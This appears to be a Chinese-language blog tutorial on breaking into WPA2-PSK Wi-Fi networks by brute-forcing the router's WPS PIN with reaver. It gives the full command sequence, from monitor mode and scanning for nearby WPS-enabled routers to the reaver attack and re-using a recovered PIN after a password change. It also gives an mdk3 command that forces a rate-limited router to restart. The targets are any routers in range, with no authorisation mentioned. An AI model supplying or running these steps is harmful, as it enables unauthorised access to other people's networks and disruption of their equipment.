使用reaver命令窮舉PIN碼破解WPA2-PSK加密的無線網絡

【前言】

    現在的路由器大多都默認用 WPA2-PSK 方式對無線網絡進行加密了,不能再像 WEP 加密方式那樣好破解,使用字典又需要費心費力地整理字典,而且字典破解的效率還慢。所以我們需要更有效率的破解方法。好在現在大多數的路由器都提供 WPS 功能,通過這個功能,用戶可以使用 PIN 碼登錄到路由器。但這個 PIN 碼的長度只有 8 位,而且可能的取值只有11000種(注意,不是 10^8 種)。所以我們可以進行簡單粗暴的窮舉 PIN 碼破解,而且我們可以推斷出這種破解方法在目標 AP 開啓了 WPS 功能的情況下是可以百分之百破解它的。這其實是很老的破解手段了,但至今依然奏效。

 

【操作步驟】

1、切換無線網卡到監聽模式:
    airmon-ng  start  wlan0

2、刺探附近 WLAN 網絡(這個命令所跟的參數值可以在 步驟1 完成後從提示信息中查看到):
    airodump-ng  wlan0mon

  

3、找出開啓了 WPS 功能、可以使用 PIN碼 登錄的路由器,並另外記錄下該 AP 的 BSSID(約等於該 AP 的 MAC 地址):
    wash  -i  wlan0mon

  

3、開始進行 PIN碼 窮舉破解(注意末尾的參數是 2 個小寫字母 v):
    reaver -i wlan0mon -b xx:xx:xx:xx:xx:xx -vv

參數說明:
-i  無線網卡名稱
-b  目標AP的mac地址
-a  自動檢測目標AP最佳配置
-S  使用最小的DH key,可以提高破解速度
-vv  顯示更多的非嚴重警告(注意這是 2 個小寫字母 v)
-d  即delay每窮舉一次的閒置時間 預設爲1秒
-c  信道編號
-p  PIN碼四位或八位  //可以用8位直接找到密碼。

  

 

4、等待破解完成(這個破解可能會時間比較長,和你的目標 AP 有關,我當時花費了 12 個小時才破解出來),這期間我們可以查看到窮舉破解花費的時間、預計剩餘時間、窮舉PIN碼進度 信息:

  

破解完成後,查看並記錄下 PIN碼 和 密碼:

  

 

5、獲取到 PIN碼 後,以後即便路由器更換了密碼,我們也可以很迅速地通過 PIN碼 重新獲得新密碼。以上方獲取到的信息舉例:

    reaver  -i  wlan0mon -b  xx:xx:xx:xx:xx:xx  -p 12316977

 

【注意事項】

    1、如果在執行 reaver 命令後看到有 WARNING: Failed to associate with xx:xx:xx:xx:xx:xx 這樣的提示信息,那麼應該是你選擇了一個不具備或關閉了 WPS 功能的路由器。這種情況下就執行wash 命令並重新選擇一個路由器吧。

    2、如果在執行 reaver 命令後看到有 warning detected ap rate limiting waiting 60 seconds before re-checking 這樣的提示信息,這表示目標路由器開啓了防 PIN破解 功能。因爲我們是窮舉 PIN碼 進行破解的,當連續使用超過某個次數的 PIN碼 後,路由器會暫時鎖定 WPS 功能一段時間。這種情況下要麼我們耐心等待其恢復 WPS 功能,要麼執行 mdk3 wlan0mon a -a xx:xx:xx:xx:xx:xx (這是上面的目標AP的MAC地址)命令讓路由器主動重啓或被動重啓以恢復 WPS 功能。

 


 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章